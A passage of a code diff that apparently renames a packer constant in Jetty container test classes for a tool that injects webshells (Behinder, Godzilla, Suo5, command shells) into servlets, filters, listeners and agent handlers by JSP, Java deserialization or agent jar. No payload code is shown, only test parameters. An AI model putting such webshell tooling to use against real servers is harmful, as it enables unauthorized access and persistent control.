arguments(imageName, Constants.FILTER, ShellTool.Suo5, Packers.Deserialize),
|
arguments(imageName, Constants.FILTER, ShellTool.Suo5, Packers.JavaDeserialize),
|
||||||
arguments(imageName, Constants.LISTENER, ShellTool.Behinder, Packers.JSP),
|
arguments(imageName, Constants.LISTENER, ShellTool.Behinder, Packers.JSP),
|
||||||
arguments(imageName, Constants.LISTENER, ShellTool.Behinder, Packers.Deserialize),
|
arguments(imageName, Constants.LISTENER, ShellTool.Behinder, Packers.JavaDeserialize),
|
||||||
arguments(imageName, Constants.LISTENER, ShellTool.Godzilla, Packers.JSP),
|
arguments(imageName, Constants.LISTENER, ShellTool.Godzilla, Packers.JSP),
|
||||||
arguments(imageName, Constants.LISTENER, ShellTool.Godzilla, Packers.Deserialize),
|
arguments(imageName, Constants.LISTENER, ShellTool.Godzilla, Packers.JavaDeserialize),
|
||||||
arguments(imageName, Constants.LISTENER, ShellTool.Command, Packers.JSP),
|
arguments(imageName, Constants.LISTENER, ShellTool.Command, Packers.JSP),
|
||||||
arguments(imageName, Constants.LISTENER, ShellTool.Command, Packers.Deserialize),
|
arguments(imageName, Constants.LISTENER, ShellTool.Command, Packers.JavaDeserialize),
|
||||||
arguments(imageName, Constants.LISTENER, ShellTool.Suo5, Packers.JSP),
|
arguments(imageName, Constants.LISTENER, ShellTool.Suo5, Packers.JSP),
|
||||||
arguments(imageName, Constants.LISTENER, ShellTool.Suo5, Packers.Deserialize),
|
arguments(imageName, Constants.LISTENER, ShellTool.Suo5, Packers.JavaDeserialize),
|
||||||
arguments(imageName, Constants.VALVE, ShellTool.Behinder, Packers.JSP),
|
arguments(imageName, Constants.VALVE, ShellTool.Behinder, Packers.JSP),
|
||||||
arguments(imageName, Constants.VALVE, ShellTool.Behinder, Packers.Deserialize),
|
arguments(imageName, Constants.VALVE, ShellTool.Behinder, Packers.JavaDeserialize),
|
||||||
arguments(imageName, Constants.VALVE, ShellTool.Godzilla, Packers.JSP),
|
arguments(imageName, Constants.VALVE, ShellTool.Godzilla, Packers.JSP),
|
||||||
arguments(imageName, Constants.VALVE, ShellTool.Godzilla, Packers.Deserialize),
|
arguments(imageName, Constants.VALVE, ShellTool.Godzilla, Packers.JavaDeserialize),
|
||||||
arguments(imageName, Constants.VALVE, ShellTool.Command, Packers.JSP),
|
arguments(imageName, Constants.VALVE, ShellTool.Command, Packers.JSP),
|
||||||
arguments(imageName, Constants.VALVE, ShellTool.Command, Packers.Deserialize),
|
arguments(imageName, Constants.VALVE, ShellTool.Command, Packers.JavaDeserialize),
|
||||||
arguments(imageName, Constants.VALVE, ShellTool.Suo5, Packers.JSP),
|
arguments(imageName, Constants.VALVE, ShellTool.Suo5, Packers.JSP),
|
||||||
arguments(imageName, Constants.VALVE, ShellTool.Suo5, Packers.Deserialize),
|
arguments(imageName, Constants.VALVE, ShellTool.Suo5, Packers.JavaDeserialize),
|
||||||
arguments(imageName, Constants.AGENT_FILTER_CHAIN, ShellTool.Command, Packers.AgentJar),
|
arguments(imageName, Constants.AGENT_FILTER_CHAIN, ShellTool.Command, Packers.AgentJar),
|
||||||
arguments(imageName, Constants.AGENT_FILTER_CHAIN, ShellTool.Behinder, Packers.AgentJar),
|
arguments(imageName, Constants.AGENT_FILTER_CHAIN, ShellTool.Behinder, Packers.AgentJar),
|
||||||
arguments(imageName, Constants.AGENT_FILTER_CHAIN, ShellTool.Godzilla, Packers.AgentJar),
|
arguments(imageName, Constants.AGENT_FILTER_CHAIN, ShellTool.Godzilla, Packers.AgentJar),
|
||||||
|
|||||||
+12
-12
@@ -43,29 +43,29 @@ public class Jetty10ContainerTest {
|
|||||||
static Stream<Arguments> casesProvider() {
|
static Stream<Arguments> casesProvider() {
|
||||||
return Stream.of(
|
return Stream.of(
|
||||||
arguments(imageName, Constants.SERVLET, ShellTool.Behinder, Packers.JSP),
|
arguments(imageName, Constants.SERVLET, ShellTool.Behinder, Packers.JSP),
|
||||||
arguments(imageName, Constants.SERVLET, ShellTool.Behinder, Packers.Deserialize),
|
arguments(imageName, Constants.SERVLET, ShellTool.Behinder, Packers.JavaDeserialize),
|
||||||
arguments(imageName, Constants.SERVLET, ShellTool.Godzilla, Packers.JSP),
|
arguments(imageName, Constants.SERVLET, ShellTool.Godzilla, Packers.JSP),
|
||||||
arguments(imageName, Constants.SERVLET, ShellTool.Godzilla, Packers.Deserialize),
|
arguments(imageName, Constants.SERVLET, ShellTool.Godzilla, Packers.JavaDeserialize),
|
||||||
arguments(imageName, Constants.SERVLET, ShellTool.Command, Packers.JSP),
|
arguments(imageName, Constants.SERVLET, ShellTool.Command, Packers.JSP),
|
||||||
arguments(imageName, Constants.SERVLET, ShellTool.Command, Packers.Deserialize),
|
arguments(imageName, Constants.SERVLET, ShellTool.Command, Packers.JavaDeserialize),
|
||||||
arguments(imageName, Constants.SERVLET, ShellTool.Suo5, Packers.JSP),
|
arguments(imageName, Constants.SERVLET, ShellTool.Suo5, Packers.JSP),
|
||||||
arguments(imageName, Constants.SERVLET, ShellTool.Suo5, Packers.Deserialize),
|
arguments(imageName, Constants.SERVLET, ShellTool.Suo5, Packers.JavaDeserialize),
|
||||||
arguments(imageName, Constants.FILTER, ShellTool.Behinder, Packers.JSP),
|
arguments(imageName, Constants.FILTER, ShellTool.Behinder, Packers.JSP),
|
||||||
arguments(imageName, Constants.FILTER, ShellTool.Behinder, Packers.Deserialize),
|
arguments(imageName, Constants.FILTER, ShellTool.Behinder, Packers.JavaDeserialize),
|
||||||
arguments(imageName, Constants.FILTER, ShellTool.Godzilla, Packers.JSP),
|
arguments(imageName, Constants.FILTER, ShellTool.Godzilla, Packers.JSP),
|
||||||
arguments(imageName, Constants.FILTER, ShellTool.Godzilla, Packers.Deserialize),
|
arguments(imageName, Constants.FILTER, ShellTool.Godzilla, Packers.JavaDeserialize),
|
||||||
arguments(imageName, Constants.FILTER, ShellTool.Command, Packers.JSP),
|
arguments(imageName, Constants.FILTER, ShellTool.Command, Packers.JSP),
|
||||||
arguments(imageName, Constants.FILTER, ShellTool.Command, Packers.Deserialize),
|
arguments(imageName, Constants.FILTER, ShellTool.Command, Packers.JavaDeserialize),
|
||||||
arguments(imageName, Constants.FILTER, ShellTool.Suo5, Packers.JSP),
|
arguments(imageName, Constants.FILTER, ShellTool.Suo5, Packers.JSP),
|
||||||
arguments(imageName, Constants.FILTER, ShellTool.Suo5, Packers.Deserialize),
|
arguments(imageName, Constants.FILTER, ShellTool.Suo5, Packers.JavaDeserialize),
|
||||||
arguments(imageName, Constants.LISTENER, ShellTool.Behinder, Packers.JSP),
|
arguments(imageName, Constants.LISTENER, ShellTool.Behinder, Packers.JSP),
|
||||||
arguments(imageName, Constants.LISTENER, ShellTool.Behinder, Packers.Deserialize),
|
arguments(imageName, Constants.LISTENER, ShellTool.Behinder, Packers.JavaDeserialize),
|
||||||
arguments(imageName, Constants.LISTENER, ShellTool.Godzilla, Packers.JSP),
|
arguments(imageName, Constants.LISTENER, ShellTool.Godzilla, Packers.JSP),
|
||||||
arguments(imageName, Constants.LISTENER, ShellTool.Godzilla, Packers.Deserialize),
|
arguments(imageName, Constants.LISTENER, ShellTool.Godzilla, Packers.JavaDeserialize),
|
||||||
arguments(imageName, Constants.LISTENER, ShellTool.Command, Packers.JSP),
|
arguments(imageName, Constants.LISTENER, ShellTool.Command, Packers.JSP),
|
||||||
arguments(imageName, Constants.LISTENER, ShellTool.Command, Packers.Deserialize),
|
arguments(imageName, Constants.LISTENER, ShellTool.Command, Packers.JavaDeserialize),
|
||||||
arguments(imageName, Constants.LISTENER, ShellTool.Suo5, Packers.JSP),
|
arguments(imageName, Constants.LISTENER, ShellTool.Suo5, Packers.JSP),
|
||||||
arguments(imageName, Constants.LISTENER, ShellTool.Suo5, Packers.Deserialize),
|
arguments(imageName, Constants.LISTENER, ShellTool.Suo5, Packers.JavaDeserialize),
|
||||||
arguments(imageName, JettyShell.AGENT_HANDLER, ShellTool.Command, Packers.AgentJar),
|
arguments(imageName, JettyShell.AGENT_HANDLER, ShellTool.Command, Packers.AgentJar),
|
||||||
arguments(imageName, JettyShell.AGENT_HANDLER, ShellTool.Behinder, Packers.AgentJar),
|
arguments(imageName, JettyShell.AGENT_HANDLER, ShellTool.Behinder, Packers.AgentJar),
|
||||||
arguments(imageName, JettyShell.AGENT_HANDLER, ShellTool.Godzilla, Packers.AgentJar));
|
arguments(imageName, JettyShell.AGENT_HANDLER, ShellTool.Godzilla, Packers.AgentJar));
|
||||||
|
|||||||
+12
-12
@@ -43,29 +43,29 @@ public class Jetty11ContainerTest {
|
|||||||
static Stream<Arguments> casesProvider() {
|
static Stream<Arguments> casesProvider() {
|
||||||
return Stream.of(
|
return Stream.of(
|
||||||
arguments(imageName, Constants.JAKARTA_SERVLET, ShellTool.Behinder, Packers.JSP),
|
arguments(imageName, Constants.JAKARTA_SERVLET, ShellTool.Behinder, Packers.JSP),
|
||||||
arguments(imageName, Constants.JAKARTA_SERVLET, ShellTool.Behinder, Packers.Deserialize),
|
arguments(imageName, Constants.JAKARTA_SERVLET, ShellTool.Behinder, Packers.JavaDeserialize),
|
||||||
arguments(imageName, Constants.JAKARTA_SERVLET, ShellTool.Godzilla, Packers.JSP),
|
arguments(imageName, Constants.JAKARTA_SERVLET, ShellTool.Godzilla, Packers.JSP),
|
||||||
arguments(imageName, Constants.JAKARTA_SERVLET, ShellTool.Godzilla, Packers.Deserialize),
|
arguments(imageName, Constants.JAKARTA_SERVLET, ShellTool.Godzilla, Packers.JavaDeserialize),
|
||||||
arguments(imageName, Constants.JAKARTA_SERVLET, ShellTool.Command, Packers.JSP),
|
arguments(imageName, Constants.JAKARTA_SERVLET, ShellTool.Command, Packers.JSP),
|
||||||
arguments(imageName, Constants.JAKARTA_SERVLET, ShellTool.Command, Packers.Deserialize),
|
arguments(imageName, Constants.JAKARTA_SERVLET, ShellTool.Command, Packers.JavaDeserialize),
|
||||||
arguments(imageName, Constants.JAKARTA_SERVLET, ShellTool.Suo5, Packers.JSP),
|
arguments(imageName, Constants.JAKARTA_SERVLET, ShellTool.Suo5, Packers.JSP),
|
||||||
arguments(imageName, Constants.JAKARTA_SERVLET, ShellTool.Suo5, Packers.Deserialize),
|
arguments(imageName, Constants.JAKARTA_SERVLET, ShellTool.Suo5, Packers.JavaDeserialize),
|
||||||
arguments(imageName, Constants.JAKARTA_FILTER, ShellTool.Behinder, Packers.JSP),
|
arguments(imageName, Constants.JAKARTA_FILTER, ShellTool.Behinder, Packers.JSP),
|
||||||
arguments(imageName, Constants.JAKARTA_FILTER, ShellTool.Behinder, Packers.Deserialize),
|
arguments(imageName, Constants.JAKARTA_FILTER, ShellTool.Behinder, Packers.JavaDeserialize),
|
||||||
arguments(imageName, Constants.JAKARTA_FILTER, ShellTool.Godzilla, Packers.JSP),
|
arguments(imageName, Constants.JAKARTA_FILTER, ShellTool.Godzilla, Packers.JSP),
|
||||||
arguments(imageName, Constants.JAKARTA_FILTER, ShellTool.Godzilla, Packers.Deserialize),
|
arguments(imageName, Constants.JAKARTA_FILTER, ShellTool.Godzilla, Packers.JavaDeserialize),
|
||||||
arguments(imageName, Constants.JAKARTA_FILTER, ShellTool.Command, Packers.JSP),
|
arguments(imageName, Constants.JAKARTA_FILTER, ShellTool.Command, Packers.JSP),
|
||||||
arguments(imageName, Constants.JAKARTA_FILTER, ShellTool.Command, Packers.Deserialize),
|
arguments(imageName, Constants.JAKARTA_FILTER, ShellTool.Command, Packers.JavaDeserialize),
|
||||||
arguments(imageName, Constants.JAKARTA_FILTER, ShellTool.Suo5, Packers.JSP),
|
arguments(imageName, Constants.JAKARTA_FILTER, ShellTool.Suo5, Packers.JSP),
|
||||||
arguments(imageName, Constants.JAKARTA_FILTER, ShellTool.Suo5, Packers.Deserialize),
|
arguments(imageName, Constants.JAKARTA_FILTER, ShellTool.Suo5, Packers.JavaDeserialize),
|
||||||
arguments(imageName, Constants.JAKARTA_LISTENER, ShellTool.Behinder, Packers.JSP),
|
arguments(imageName, Constants.JAKARTA_LISTENER, ShellTool.Behinder, Packers.JSP),
|
||||||
arguments(imageName, Constants.JAKARTA_LISTENER, ShellTool.Behinder, Packers.Deserialize),
|
arguments(imageName, Constants.JAKARTA_LISTENER, ShellTool.Behinder, Packers.JavaDeserialize),
|
||||||
arguments(imageName, Constants.JAKARTA_LISTENER, ShellTool.Godzilla, Packers.JSP),
|
arguments(imageName, Constants.JAKARTA_LISTENER, ShellTool.Godzilla, Packers.JSP),
|
||||||
arguments(imageName, Constants.JAKARTA_LISTENER, ShellTool.Godzilla, Packers.Deserialize),
|
arguments(imageName, Constants.JAKARTA_LISTENER, ShellTool.Godzilla, Packers.JavaDeserialize),
|
||||||
arguments(imageName, Constants.JAKARTA_LISTENER, ShellTool.Command, Packers.JSP),
|
arguments(imageName, Constants.JAKARTA_LISTENER, ShellTool.Command, Packers.JSP),
|
||||||
arguments(imageName, Constants.JAKARTA_LISTENER, ShellTool.Command, Packers.Deserialize),
|
arguments(imageName, Constants.JAKARTA_LISTENER, ShellTool.Command, Packers.JavaDeserialize),
|
||||||
arguments(imageName, Constants.JAKARTA_LISTENER, ShellTool.Suo5, Packers.JSP),
|
arguments(imageName, Constants.JAKARTA_LISTENER, ShellTool.Suo5, Packers.JSP),
|
||||||
arguments(imageName, Constants.JAKARTA_LISTENER, ShellTool.Suo5, Packers.Deserialize),
|
arguments(imageName, Constants.JAKARTA_LISTENER, ShellTool.Suo5, Packers.JavaDeserialize),
|
||||||
arguments(imageName, JettyShell.AGENT_HANDLER, ShellTool.Command, Packers.AgentJar),
|
arguments(imageName, JettyShell.AGENT_HANDLER, ShellTool.Command, Packers.AgentJar),
|
||||||
arguments(imageName, JettyShell.AGENT_HANDLER, ShellTool.Behinder, Packers.AgentJar),
|
arguments(imageName, JettyShell.AGENT_HANDLER, ShellTool.Behinder, Packers.AgentJar),
|
||||||
arguments(imageName, JettyShell.AGENT_HANDLER, ShellTool.Godzilla, Packers.AgentJar)
|
arguments(imageName, JettyShell.AGENT_HANDLER, ShellTool.Godzilla, Packers.AgentJar)
|
||||||
|
|||||||
+12
-12
@@ -42,29 +42,29 @@ public class Jetty61ContainerTest {
|
|||||||
static Stream<Arguments> casesProvider() {
|
static Stream<Arguments> casesProvider() {
|
||||||
return Stream.of(
|
return Stream.of(
|
||||||
arguments(imageName, Constants.SERVLET, ShellTool.Behinder, Packers.JSP),
|
arguments(imageName, Constants.SERVLET, ShellTool.Behinder, Packers.JSP),
|
||||||
arguments(imageName, Constants.SERVLET, ShellTool.Behinder, Packers.Deserialize),
|
arguments(imageName, Constants.SERVLET, ShellTool.Behinder, Packers.JavaDeserialize),
|
||||||
arguments(imageName, Constants.SERVLET, ShellTool.Godzilla, Packers.JSP),
|
arguments(imageName, Constants.SERVLET, ShellTool.Godzilla, Packers.JSP),
|
||||||
arguments(imageName, Constants.SERVLET, ShellTool.Godzilla, Packers.Deserialize),
|
arguments(imageName, Constants.SERVLET, ShellTool.Godzilla, Packers.JavaDeserialize),
|
||||||
arguments(imageName, Constants.SERVLET, ShellTool.Command, Packers.JSP),
|
arguments(imageName, Constants.SERVLET, ShellTool.Command, Packers.JSP),
|
||||||
arguments(imageName, Constants.SERVLET, ShellTool.Command, Packers.Deserialize),
|
arguments(imageName, Constants.SERVLET, ShellTool.Command, Packers.JavaDeserialize),
|
||||||
arguments(imageName, Constants.SERVLET, ShellTool.Suo5, Packers.JSP),
|
arguments(imageName, Constants.SERVLET, ShellTool.Suo5, Packers.JSP),
|
||||||
arguments(imageName, Constants.SERVLET, ShellTool.Suo5, Packers.Deserialize),
|
arguments(imageName, Constants.SERVLET, ShellTool.Suo5, Packers.JavaDeserialize),
|
||||||
arguments(imageName, Constants.FILTER, ShellTool.Behinder, Packers.JSP),
|
arguments(imageName, Constants.FILTER, ShellTool.Behinder, Packers.JSP),
|
||||||
arguments(imageName, Constants.FILTER, ShellTool.Behinder, Packers.Deserialize),
|
arguments(imageName, Constants.FILTER, ShellTool.Behinder, Packers.JavaDeserialize),
|
||||||
arguments(imageName, Constants.FILTER, ShellTool.Godzilla, Packers.JSP),
|
arguments(imageName, Constants.FILTER, ShellTool.Godzilla, Packers.JSP),
|
||||||
arguments(imageName, Constants.FILTER, ShellTool.Godzilla, Packers.Deserialize),
|
arguments(imageName, Constants.FILTER, ShellTool.Godzilla, Packers.JavaDeserialize),
|
||||||
arguments(imageName, Constants.FILTER, ShellTool.Command, Packers.JSP),
|
arguments(imageName, Constants.FILTER, ShellTool.Command, Packers.JSP),
|
||||||
arguments(imageName, Constants.FILTER, ShellTool.Command, Packers.Deserialize),
|
arguments(imageName, Constants.FILTER, ShellTool.Command, Packers.JavaDeserialize),
|
||||||
arguments(imageName, Constants.FILTER, ShellTool.Suo5, Packers.JSP),
|
arguments(imageName, Constants.FILTER, ShellTool.Suo5, Packers.JSP),
|
||||||
arguments(imageName, Constants.FILTER, ShellTool.Suo5, Packers.Deserialize),
|
arguments(imageName, Constants.FILTER, ShellTool.Suo5, Packers.JavaDeserialize),
|
||||||
arguments(imageName, Constants.LISTENER, ShellTool.Behinder, Packers.JSP),
|
arguments(imageName, Constants.LISTENER, ShellTool.Behinder, Packers.JSP),
|
||||||
arguments(imageName, Constants.LISTENER, ShellTool.Behinder, Packers.Deserialize),
|
arguments(imageName, Constants.LISTENER, ShellTool.Behinder, Packers.JavaDeserialize),
|
||||||
arguments(imageName, Constants.LISTENER, ShellTool.Godzilla, Packers.JSP),
|
arguments(imageName, Constants.LISTENER, ShellTool.Godzilla, Packers.JSP),
|
||||||
arguments(imageName, Constants.LISTENER, ShellTool.Godzilla, Packers.Deserialize),
|
arguments(imageName, Constants.LISTENER, ShellTool.Godzilla, Packers.JavaDeserialize),
|
||||||
arguments(imageName, Constants.LISTENER, ShellTool.Command, Packers.JSP),
|
arguments(imageName, Constants.LISTENER, ShellTool.Command, Packers.JSP),
|
||||||
arguments(imageName, Constants.LISTENER, ShellTool.Command, Packers.Deserialize),
|
arguments(imageName, Constants.LISTENER, ShellTool.Command, Packers.JavaDeserialize),
|
||||||
arguments(imageName, Constants.LISTENER, ShellTool.Suo5, Packers.JSP),
|
arguments(imageName, Constants.LISTENER, ShellTool.Suo5, Packers.JSP),
|
||||||
arguments(imageName, Constants.LISTENER, ShellTool.Suo5, Packers.Deserialize)
|
arguments(imageName, Constants.LISTENER, ShellTool.Suo5, Packers.JavaDeserialize)
|
||||||
// arguments(imageName, JettyShell.AGENT_HANDLER, ShellTool.Command, Packer.INSTANCE.AgentJar),
|
// arguments(imageName, JettyShell.AGENT_HANDLER, ShellTool.Command, Packer.INSTANCE.AgentJar),
|
||||||
// arguments(imageName, JettyShell.AGENT_HANDLER, ShellTool.Behinder, Packer.INSTANCE.AgentJar),
|
// arguments(imageName, JettyShell.AGENT_HANDLER, ShellTool.Behinder, Packer.INSTANCE.AgentJar),
|
||||||
// arguments(imageName, JettyShell.AGENT_HANDLER, ShellTool.Godzilla, Packer.INSTANCE.AgentJar)
|
// arguments(imageName, JettyShell.AGENT_HANDLER, ShellTool.Godzilla, Packer.INSTANCE.AgentJar)
|
||||||
|
|||||||
+12
-12
@@ -43,29 +43,29 @@ public class Jetty76ContainerTest {
|
|||||||
static Stream<Arguments> casesProvider() {
|
static Stream<Arguments> casesProvider() {
|
||||||
return Stream.of(
|
return Stream.of(
|
||||||
arguments(imageName, Constants.SERVLET, ShellTool.Behinder, Packers.JSP),
|
arguments(imageName, Constants.SERVLET, ShellTool.Behinder, Packers.JSP),
|
||||||
arguments(imageName, Constants.SERVLET, ShellTool.Behinder, Packers.Deserialize),
|
arguments(imageName, Constants.SERVLET, ShellTool.Behinder, Packers.JavaDeserialize),
|
||||||
arguments(imageName, Constants.SERVLET, ShellTool.Godzilla, Packers.JSP),
|
arguments(imageName, Constants.SERVLET, ShellTool.Godzilla, Packers.JSP),
|
||||||
arguments(imageName, Constants.SERVLET, ShellTool.Godzilla, Packers.Deserialize),
|
arguments(imageName, Constants.SERVLET, ShellTool.Godzilla, Packers.JavaDeserialize),
|
||||||
arguments(imageName, Constants.SERVLET, ShellTool.Command, Packers.JSP),
|
arguments(imageName, Constants.SERVLET, ShellTool.Command, Packers.JSP),
|
||||||
arguments(imageName, Constants.SERVLET, ShellTool.Command, Packers.Deserialize),
|
arguments(imageName, Constants.SERVLET, ShellTool.Command, Packers.JavaDeserialize),
|
||||||
arguments(imageName, Constants.SERVLET, ShellTool.Suo5, Packers.JSP),
|
arguments(imageName, Constants.SERVLET, ShellTool.Suo5, Packers.JSP),
|
||||||
arguments(imageName, Constants.SERVLET, ShellTool.Suo5, Packers.Deserialize),
|
arguments(imageName, Constants.SERVLET, ShellTool.Suo5, Packers.JavaDeserialize),
|
||||||
arguments(imageName, Constants.FILTER, ShellTool.Behinder, Packers.JSP),
|
arguments(imageName, Constants.FILTER, ShellTool.Behinder, Packers.JSP),
|
||||||
arguments(imageName, Constants.FILTER, ShellTool.Behinder, Packers.Deserialize),
|
arguments(imageName, Constants.FILTER, ShellTool.Behinder, Packers.JavaDeserialize),
|
||||||
arguments(imageName, Constants.FILTER, ShellTool.Godzilla, Packers.JSP),
|
arguments(imageName, Constants.FILTER, ShellTool.Godzilla, Packers.JSP),
|
||||||
arguments(imageName, Constants.FILTER, ShellTool.Godzilla, Packers.Deserialize),
|
arguments(imageName, Constants.FILTER, ShellTool.Godzilla, Packers.JavaDeserialize),
|
||||||
arguments(imageName, Constants.FILTER, ShellTool.Command, Packers.JSP),
|
arguments(imageName, Constants.FILTER, ShellTool.Command, Packers.JSP),
|
||||||
arguments(imageName, Constants.FILTER, ShellTool.Command, Packers.Deserialize),
|
arguments(imageName, Constants.FILTER, ShellTool.Command, Packers.JavaDeserialize),
|
||||||
arguments(imageName, Constants.FILTER, ShellTool.Suo5, Packers.JSP),
|
arguments(imageName, Constants.FILTER, ShellTool.Suo5, Packers.JSP),
|
||||||
arguments(imageName, Constants.FILTER, ShellTool.Suo5, Packers.Deserialize),
|
arguments(imageName, Constants.FILTER, ShellTool.Suo5, Packers.JavaDeserialize),
|
||||||
arguments(imageName, Constants.LISTENER, ShellTool.Behinder, Packers.JSP),
|
arguments(imageName, Constants.LISTENER, ShellTool.Behinder, Packers.JSP),
|
||||||
arguments(imageName, Constants.LISTENER, ShellTool.Behinder, Packers.Deserialize),
|
arguments(imageName, Constants.LISTENER, ShellTool.Behinder, Packers.JavaDeserialize),
|
||||||
arguments(imageName, Constants.LISTENER, ShellTool.Godzilla, Packers.JSP),
|
arguments(imageName, Constants.LISTENER, ShellTool.Godzilla, Packers.JSP),
|
||||||
arguments(imageName, Constants.LISTENER, ShellTool.Godzilla, Packers.Deserialize),
|
arguments(imageName, Constants.LISTENER, ShellTool.Godzilla, Packers.JavaDeserialize),
|
||||||
arguments(imageName, Constants.LISTENER, ShellTool.Command, Packers.JSP),
|
arguments(imageName, Constants.LISTENER, ShellTool.Command, Packers.JSP),
|
||||||
arguments(imageName, Constants.LISTENER, ShellTool.Command, Packers.Deserialize),
|
arguments(imageName, Constants.LISTENER, ShellTool.Command, Packers.JavaDeserialize),
|
||||||
arguments(imageName, Constants.LISTENER, ShellTool.Suo5, Packers.JSP),
|
arguments(imageName, Constants.LISTENER, ShellTool.Suo5, Packers.JSP),
|
||||||
arguments(imageName, Constants.LISTENER, ShellTool.Suo5, Packers.Deserialize),
|
arguments(imageName, Constants.LISTENER, ShellTool.Suo5, Packers.JavaDeserialize),
|
||||||
arguments(imageName, JettyShell.AGENT_HANDLER, ShellTool.Command, Packers.AgentJar),
|
arguments(imageName, JettyShell.AGENT_HANDLER, ShellTool.Command, Packers.AgentJar),
|
||||||
arguments(imageName, JettyShell.AGENT_HANDLER, ShellTool.Behinder, Packers.AgentJar),
|
arguments(imageName, JettyShell.AGENT_HANDLER, ShellTool.Behinder, Packers.AgentJar),
|
||||||
arguments(imageName, JettyShell.AGENT_HANDLER, ShellTool.Godzilla, Packers.AgentJar)
|
arguments(imageName, JettyShell.AGENT_HANDLER, ShellTool.Godzilla, Packers.AgentJar)
|
||||||
|
|||||||
+12
-12
@@ -43,29 +43,29 @@ public class Jetty81ContainerTest {
|
|||||||
static Stream<Arguments> casesProvider() {
|
static Stream<Arguments> casesProvider() {
|
||||||
return Stream.of(
|
return Stream.of(
|
||||||
arguments(imageName, Constants.SERVLET, ShellTool.Behinder, Packers.JSP),
|
arguments(imageName, Constants.SERVLET, ShellTool.Behinder, Packers.JSP),
|
||||||
arguments(imageName, Constants.SERVLET, ShellTool.Behinder, Packers.Deserialize),
|
arguments(imageName, Constants.SERVLET, ShellTool.Behinder, Packers.JavaDeserialize),
|
||||||
arguments(imageName, Constants.SERVLET, ShellTool.Godzilla, Packers.JSP),
|
arguments(imageName, Constants.SERVLET, ShellTool.Godzilla, Packers.JSP),
|
||||||
arguments(imageName, Constants.SERVLET, ShellTool.Godzilla, Packers.Deserialize),
|
arguments(imageName, Constants.SERVLET, ShellTool.Godzilla, Packers.JavaDeserialize),
|
||||||
arguments(imageName, Constants.SERVLET, ShellTool.Command, Packers.JSP),
|
arguments(imageName, Constants.SERVLET, ShellTool.Command, Packers.JSP),
|
||||||
arguments(imageName, Constants.SERVLET, ShellTool.Command, Packers.Deserialize),
|
arguments(imageName, Constants.SERVLET, ShellTool.Command, Packers.JavaDeserialize),
|
||||||
arguments(imageName, Constants.SERVLET, ShellTool.Suo5, Packers.JSP),
|
arguments(imageName, Constants.SERVLET, ShellTool.Suo5, Packers.JSP),
|
||||||
arguments(imageName, Constants.SERVLET, ShellTool.Suo5, Packers.Deserialize),
|
arguments(imageName, Constants.SERVLET, ShellTool.Suo5, Packers.JavaDeserialize),
|
||||||
arguments(imageName, Constants.FILTER, ShellTool.Behinder, Packers.JSP),
|
arguments(imageName, Constants.FILTER, ShellTool.Behinder, Packers.JSP),
|
||||||
arguments(imageName, Constants.FILTER, ShellTool.Behinder, Packers.Deserialize),
|
arguments(imageName, Constants.FILTER, ShellTool.Behinder, Packers.JavaDeserialize),
|
||||||
arguments(imageName, Constants.FILTER, ShellTool.Godzilla, Packers.JSP),
|
arguments(imageName, Constants.FILTER, ShellTool.Godzilla, Packers.JSP),
|
||||||
arguments(imageName, Constants.FILTER, ShellTool.Godzilla, Packers.Deserialize),
|
arguments(imageName, Constants.FILTER, ShellTool.Godzilla, Packers.JavaDeserialize),
|
||||||
arguments(imageName, Constants.FILTER, ShellTool.Command, Packers.JSP),
|
arguments(imageName, Constants.FILTER, ShellTool.Command, Packers.JSP),
|
||||||
arguments(imageName, Constants.FILTER, ShellTool.Command, Packers.Deserialize),
|
arguments(imageName, Constants.FILTER, ShellTool.Command, Packers.JavaDeserialize),
|
||||||
arguments(imageName, Constants.FILTER, ShellTool.Suo5, Packers.JSP),
|
arguments(imageName, Constants.FILTER, ShellTool.Suo5, Packers.JSP),
|
||||||
arguments(imageName, Constants.FILTER, ShellTool.Suo5, Packers.Deserialize),
|
arguments(imageName, Constants.FILTER, ShellTool.Suo5, Packers.JavaDeserialize),
|
||||||
arguments(imageName, Constants.LISTENER, ShellTool.Behinder, Packers.JSP),
|
arguments(imageName, Constants.LISTENER, ShellTool.Behinder, Packers.JSP),
|
||||||
arguments(imageName, Constants.LISTENER, ShellTool.Behinder, Packers.Deserialize),
|
arguments(imageName, Constants.LISTENER, ShellTool.Behinder, Packers.JavaDeserialize),
|
||||||
arguments(imageName, Constants.LISTENER, ShellTool.Godzilla, Packers.JSP),
|
arguments(imageName, Constants.LISTENER, ShellTool.Godzilla, Packers.JSP),
|
||||||
arguments(imageName, Constants.LISTENER, ShellTool.Godzilla, Packers.Deserialize),
|
arguments(imageName, Constants.LISTENER, ShellTool.Godzilla, Packers.JavaDeserialize),
|
||||||
arguments(imageName, Constants.LISTENER, ShellTool.Command, Packers.JSP),
|
arguments(imageName, Constants.LISTENER, ShellTool.Command, Packers.JSP),
|
||||||
arguments(imageName, Constants.LISTENER, ShellTool.Command, Packers.Deserialize),
|
arguments(imageName, Constants.LISTENER, ShellTool.Command, Packers.JavaDeserialize),
|
||||||
arguments(imageName, Constants.LISTENER, ShellTool.Suo5, Packers.JSP),
|
arguments(imageName, Constants.LISTENER, ShellTool.Suo5, Packers.JSP),
|
||||||
arguments(imageName, Constants.LISTENER, ShellTool.Suo5, Packers.Deserialize),
|
arguments(imageName, Constants.LISTENER, ShellTool.Suo5, Packers.JavaDeserialize),
|
||||||
arguments(imageName, JettyShell.AGENT_HANDLER, ShellTool.Command, Packers.AgentJar),
|
arguments(imageName, JettyShell.AGENT_HANDLER, ShellTool.Command, Packers.AgentJar),
|
||||||
arguments(imageName, JettyShell.AGENT_HANDLER, ShellTool.Behinder, Packers.AgentJar),
|
arguments(imageName, JettyShell.AGENT_HANDLER, ShellTool.Behinder, Packers.AgentJar),
|
||||||
arguments(imageName, JettyShell.AGENT_HANDLER, ShellTool.Godzilla, Packers.AgentJar)
|
arguments(imageName, JettyShell.AGENT_HANDLER, ShellTool.Godzilla, Packers.AgentJar)
|
||||||
|
|||||||
+12
-12
@@ -44,29 +44,29 @@ public class Jetty92ContainerTest {
|
|||||||
static Stream<Arguments> casesProvider() {
|
static Stream<Arguments> casesProvider() {
|
||||||
return Stream.of(
|
return Stream.of(
|
||||||
arguments(imageName, Constants.SERVLET, ShellTool.Behinder, Packers.JSP),
|
arguments(imageName, Constants.SERVLET, ShellTool.Behinder, Packers.JSP),
|
||||||
arguments(imageName, Constants.SERVLET, ShellTool.Behinder, Packers.Deserialize),
|
arguments(imageName, Constants.SERVLET, ShellTool.Behinder, Packers.JavaDeserialize),
|
||||||
arguments(imageName, Constants.SERVLET, ShellTool.Godzilla, Packers.JSP),
|
